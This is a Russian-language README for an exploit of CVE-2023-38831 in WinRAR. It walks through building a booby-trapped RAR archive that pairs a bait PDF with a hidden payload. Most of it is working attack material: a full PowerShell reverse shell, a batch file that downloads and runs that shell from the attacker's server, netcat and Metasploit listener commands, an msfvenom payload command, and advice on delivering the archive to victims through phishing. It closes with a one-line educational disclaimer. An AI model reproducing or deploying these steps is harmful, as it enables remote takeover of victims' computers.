
Этот проект содержит Python-скрипт, который эксплуатирует **CVE-2023-38831** — уязвимость в версиях **WinRAR** ранее 6.23. Эксплойт создаёт **вредоносный RAR-архив**, который запускает выполнение произвольного кода, когда жертва открывает безобидный на вид файл внутри архива (например, PDF).
technical_corpЭтот проект содержит Python-скрипт, эксплуатирующий CVE-2023-38831 — уязвимость в WinRAR версиях до 6.23. Эксплойт генерирует вредоносный RAR-архив, который запускает выполнение произвольного кода, когда жертва открывает безобидно выглядящий файл внутри архива (например, PDF). Уязвимость активно эксплуатировалась в реальных атаках с апреля по август 2023 года.
CVE-2023-38831 — это уязвимость в WinRAR, которая позволяет злоумышленникам выполнять произвольный код, когда жертва открывает архив, содержащий как безвредный файл, так и вредоносную папку с одинаковым именем. Когда пользователь взаимодействует с безвредным файлом, WinRAR ошибочно обрабатывает содержимое вредоносной папки и выполняет полезную нагрузку злоумышленника.
.bat или .exe файл).git clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit
Мы будем использовать пакетный файл, встроенный в .rar архив, чтобы загрузить и выполнить размещённый PowerShell reverse shell.
Создайте скрипт PowerShell Reverse Shell:
Сохраните следующий PowerShell-скрипт как reverse.ps1 на вашей машине Kali Linux:
$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Замените <attacker_ip> на IP-адрес вашей машины Kali Linux.
Замените <attacker_port> на номер порта, на котором вы будете слушать.
Разместите PowerShell-скрипт на вашей машине Kali Linux:
Перейдите в папку, где сохранён PowerShell-скрипт:
cd /path/to/powershell-script
Используйте HTTP-сервер Python для размещения файла на порту 80:
python3 -m http.server 80
Это сделает reverse.ps1 доступным по адресу http://<attacker_ip>/reverse.ps1.
Создайте пакетный файл (script.bat), который загрузит и выполнит PowerShell reverse shell:
@echo off
:: Open the legitimate PDF
start bait.pdf
:: Download and execute the PowerShell script
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit
Используйте скрипт эксплойта CVE-2023-38831 для встраивания пакетного файла:
Запустите скрипт эксплойта WinRAR, чтобы встроить пакетный файл в легитимный PDF:
python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar
Эта команда создаёт файл POC.rar, который содержит script.bat, выполняющий reverse shell.
Запустите прослушиватель Netcat, чтобы поймать reverse shell:
nc -lvnp <attacker_port>
Когда жертва откроет POC.rar и запустит PDF-файл, будет активирован script.bat.
Скрипт загрузит и выполнит PowerShell reverse shell с вашего сервера.
Вы получите соединение reverse shell на вашем прослушивателе Netcat.
Сгенерируйте полезную нагрузку (если используете Metasploit): вы можете создать полезную нагрузку reverse shell с помощью msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe
Переместите созданный файл payload.exe в каталог CVE-2023-WinRAR-Exploit
Запустите генератор эксплойта: выполните Python-скрипт для создания вредоносного RAR-файла:
python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar
-b: укажите файл-приманку (например, nmapcheatsheet.pdf). -p: укажите файл полезной нагрузки (например, script.bat или payload.exe). -o: укажите имя выходного файла (например, POC.rar).
Доставьте RAR-файл жертве: созданный malicious_archive.rar можно передать жертве через социальную инженерию, вложения электронной почты или файлообменные платформы.
Настройте прослушиватель (если используете Metasploit): на вашей машине атакующего настройте прослушиватель для перехвата reverse shell:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit
Злоумышленник доставляет жертве вредоносный RAR-файл.
Жертва открывает файл-приманку (например, nmapcheatsheet.pdf), что незаметно запускает полезную нагрузку.
Полезная нагрузка (например, reverse shell) выполняется в фоновом режиме, предоставляя злоумышленнику контроль над системой жертвы.
Этот проект предназначен только для образовательных целей. Автор не несёт ответственности за любое неправомерное использование данного эксплойта. Его следует использовать только в авторизованных средах или в сценариях тестирования на проникновение с полного согласия.